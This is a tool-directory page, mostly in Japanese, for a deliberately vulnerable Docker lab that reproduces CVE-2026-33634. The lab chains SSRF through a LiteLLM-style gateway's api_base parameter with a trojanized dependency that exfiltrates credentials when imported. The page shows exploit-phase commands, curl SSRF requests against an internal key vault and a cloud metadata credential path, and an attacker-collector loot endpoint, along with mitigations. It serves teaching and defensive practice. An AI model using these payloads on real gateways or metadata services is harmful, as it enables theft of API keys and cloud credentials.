Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
EXPLOIT-CVE-2026-33634 — CVE-2026-33634を再現する意図的に脆弱なDockerラボ: api_baseを介したLiteLLMゲートウェイのSSRFと、トロイの木馬化された依存関係を組み合わせ、認証情報窃取のための多段階エクスプロイトを備える。 | Kitploit
ツール/GitHubGitHub/joaovicdev/exploit-cve-2026-33634
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ペネトレーションテストクラウドセキュリティサプライチェーンセキュリティ学習と教育

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ラボと実践
GitHubjoaovicdev/exploit-cve-2026-33634

EXPLOIT-CVE-2026-33634

CVE-2026-33634を再現する意図的に脆弱なDockerラボ: api_baseを介したLiteLLMゲートウェイのSSRFと、トロイの木馬化された依存関係を組み合わせ、認証情報窃取のための多段階エクスプロイトを備える。

リポジトリを見る
3日前未レビュー

CVE-2026-33634 — LiteLLM サプライチェーン + api_base における SSRF (PoC / ラボ)

⚠️ 意図的に脆弱なラボであり、教育および許可された用途向けです。 自分のマシン上で、このリポジトリのコンテナに対してのみ実行してください。 開始前に SECURITY-NOTES.md をお読みください。

🚫 このラボをクラウド VM や共有マシン上で絶対に実行しないでください。 このゲートウェイは意図的に無制限の SSRF を持っています。実際の IMDS (169.254.169.254) や loopback/LAN 上の機密サービスが存在する場合、SSRF は それらに実際に到達します。ポートは 127.0.0.1 にのみ公開されています。 そのままにしておいてください。隔離された使い捨てホストを使用してください。

CVSS 9.4 (クリティカル)。 LiteLLM ゲートウェイのサプライチェーン侵害 (2026年3月): ゲートウェイライブラリ内の悪意ある依存関係が、AI プロバイダ 認証情報のポートフォリオ全体を露出させました。このレイヤーで繰り返し現れる パターンも同時に現れます: プロキシ内の OpenAI キーと**api_base パラメータ における SSRF**です。このラボは両方の欠陥を再現し、それらを連鎖させてエクスプロ イトにします。


連鎖する2つの欠陥

1) サプライチェーン — トロイの木馬化された依存関係

litellm-telemetry-helper (malicious-dep/ 内) は、侵害された 推移的依存関係をシミュレートします。インシデントのストーリーでは、弱いピン (>=0.9.6) によってリゾルバがクリーンな 0.9.6 の代わりに悪意あるバージョン 0.9.7 を取得してしまったとされています。ペイロードは**import 時に発火し (ゲートウェイが依存関係を解決するだけで十分)、バックグラウンドスレッドで 環境全体 (OPENAI_API_KEY、ANTHROPIC_API_KEY、AWS_*、...) を攻撃者の コレクタへ静かに、アプリケーションを壊すことなく**窃取します。

2) api_base における SSRF

プロキシ (gateway/app.py) は、呼び出し元から来る api_base (プロバイダの base_url) をallowlist なしで受け入れます。攻撃者は ゲートウェイがリクエストを送る先を制御でき、さらにゲートウェイは:

  • Authorization ヘッダにプロバイダの実際のキーを付与し、
  • アップストリームのレスポンスボディを返します (任意読み取りの SSRF)。

これにより以下が可能になります: 内部サービス (/admin/keys) への到達、 IMDS (169.254.169.254) 上のクラウド認証情報の窃取、内部ネットワークの ポートスキャン、そして api_base を攻撃者側へ向けることで各プロバイダの キーの漏洩。


ラボのアーキテクチャ

root@kitploit:~
                    HOST (você / atacante)
        exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
              ▲                                               │
              └───────────GET /loot (localhost:8080)──┐       │
                                                      │       ▼
   ┌───────────────────────── rede docker "labnet" ───┼───────────────────┐
   │                                                   │                   │
   │   collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway     │
   │      • /beacon  (exfil da dep maliciosa)          │     (litellm      │
   │      • /collect (chave vazada via SSRF)           │      :4000)       │
   │      • /oob     (confirmação SSRF cego)           │        │ SSRF     │
   │      • /loot                                      ┘        │ (api_base)│
   │                                                            ▼          │
   │   internal.lab:9000  /admin/keys   (NÃO publicado) ◄───────┤          │
   │   imds.lab:80        /latest/...   (NÃO publicado) ◄───────┤          │
   │   provider-mock.lab:9100  (upstream "normal")      ◄───────┘          │
   └──────────────────────────────────────────────────────────────────────┘

internal.lab と imds.lab には公開ポートがありません — ゲートウェイの SSRF だけがそれらに到達できます。これがこのラボの要点です。


起動と探索の方法

前提条件: Docker + Docker Compose v2、およびエクスプロイト用の httpx を含む Python 3.9+。

root@kitploit:~
cd CVE-2026-33634

# 1) sobe o lab (gateway :4000, coletor :8080)
docker compose up -d --build      # ou: make up

# 2) instala o requisito do exploit
python3 -m pip install -r exploit/requirements.txt

# 3) roda o exploit completo
python3 exploit/exploit.py        # ou: make exploit

個別フェーズの実行:

root@kitploit:~
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal        # só rouba o cofre interno
python3 exploit/exploit.py --only cloud           # só rouba credenciais de nuvem
python3 exploit/exploit.py --only keyleak         # só vaza chaves dos provedores
python3 exploit/exploit.py --only supplychain     # só verifica o beacon da dep

完全な loot は loot.json に保存されます。攻撃者がデータを受信する様子を 確認してください:

root@kitploit:~
docker compose logs -f collector       # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool

SSRF だけを手動で再現する (エクスプロイトなし)

root@kitploit:~
# leitura arbitrária: cofre interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
  | python3 -m json.tool

# credenciais de nuvem via SSRF ao IMDS
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'

エクスプロイトの動作 (フェーズ)


ラボの忠実性と簡略化

このラボは教育的な明快さと再現性を優先しています。実際のインシデントを抽象化 している箇所は意図的なものであり、その違いを知っておく価値があります:

  • 直接 import 対 推移的依存関係。 ゲートウェイは実際の litellm ツリー内に 隠された推移的依存関係ではなく、明示的に import litellm_telemetry_helper を 行います。効果 (import 時のペイロード) は同一ですが、解決の連鎖は短縮されて います。
  • ローカルインストール 対 バージョン解決。 弱いピン >=0.9.6 はストーリー です (gateway/requirements.txt 内のコメント行); ラボでは依存関係は Dockerfile 経由で ./malicious-dep からインストールされます — 0.9.6 より 0.9.7 を解決 する PyPI インデックスは存在しません。実際の解決を試すには、両バージョンを含む ローカルインデックス (pypiserver/devpi) を立ち上げてください。
  • 任意パスの SSRF。 api_base ベクターでは、ラボは明示的なパスがある場合に URL をそのまま使用します (単一のパラメータで /admin/keys と IMDS の読み取りを 実演するため)。OpenAI 互換のパスでは、実際の LiteLLM は固定のサフィックス (/chat/completions) を連結して POST します — 制御は通常ホスト側であり (キー漏洩、ホストによる SSRF)、任意パスは passthrough/health ルートに現れ ます。実演される影響 (ポートフォリオの漏洩 + 内部/クラウドへのピボット) は 忠実ですが、URL の正確な構築は簡略化されています。

緩和策 (どのように修正するか)

SSRF (api_base)

  • 許可されるアップストリームのホスト/ドメインの allowlist; それ以外は拒否。
  • プライベート IP、loopback、およびリンクローカル 169.254.0.0/16 (IMDS) を 禁止; DNS を解決し、接続前に IP を検証 (rebinding に注意)。
  • 管理ルートにクライアントの base_url を使用しない; プレーンを分離。
  • 検証されていない宛先にプロバイダの認証情報を絶対に付与しない。
  • クラウドホストで IMDSv2 (トークン必須) と hop-limit=1 を強制。
  • Egress ファイアウォール: ゲートウェイは必要なプロバイダとのみ通信。

サプライチェーン

  • 正確なピン + ハッシュ (--require-hashes、lockfile); >= は使わない。
  • 来歴を検証 (Sigstore/attestations)、新しい依存関係を監査。
  • デフォルトで egress をブロックして実行; import ビーコンは失敗する。
  • pip install をコード実行として扱う (install hooks); サンドボックス/隔離 CI を 使用。
  • シークレットを長期間有効な環境変数の外に置く: 短命な認証情報とローテーション を備えたシークレットマネージャを使用。

認証情報/シークレット (ベースライン)

  • シークレットの欠如 = 起動失敗 (デフォルトなし)。呼び出し元に詳細な エンティティ/エラーを返さない。allowlist でログを記録し、トークン/クレームは 決して記録しない。

構成

root@kitploit:~
CVE-2026-33634/
├── docker-compose.yml        # orquestra tudo na rede labnet
├── Makefile                  # up / down / logs / exploit
├── gateway/                  # proxy LiteLLM-style VULNERÁVEL (SSRF + import da dep)
├── malicious-dep/            # a dependência trojanizada (payload no import)
├── collector/                # coletor do atacante (/beacon /collect /oob /loot)
├── internal-service/         # /admin/keys interno (só via SSRF)
├── imds/                     # mock do metadata service de nuvem (só via SSRF)
├── provider-mock/            # upstream "normal" (contraste)
├── exploit/exploit.py        # exploit multi-fase (async)
├── SECURITY-NOTES.md         # vulns intencionais, contenção e autorização
└── README.md
ツールをダウンロード
フェーズ手法
reconゲートウェイのフィンガープリント; モデル/プロバイダを列挙; api_base シンクを検出。
ssrfブラインド (out-of-band) で SSRF を確認: 一意のトークンでコレクタへのコールバックを強制。
scanゲートウェイ経由で内部ネットワークをポートスキャン (並行)。
internalSSRF → internal.lab/admin/keys: 認証情報の保管庫全体を窃取。
cloudSSRF → IMDS: インスタンスロールの一時的な STS 認証情報を窃取。
keyleakapi_base を攻撃者側へ向ける; ゲートウェイが Authorization 内で各プロバイダのキーを漏洩。
supplychainloot を読み取る: トロイの木馬化された依存関係がimport 時にすでに環境を窃取済み。
report影響を統合し loot.json を書き込む。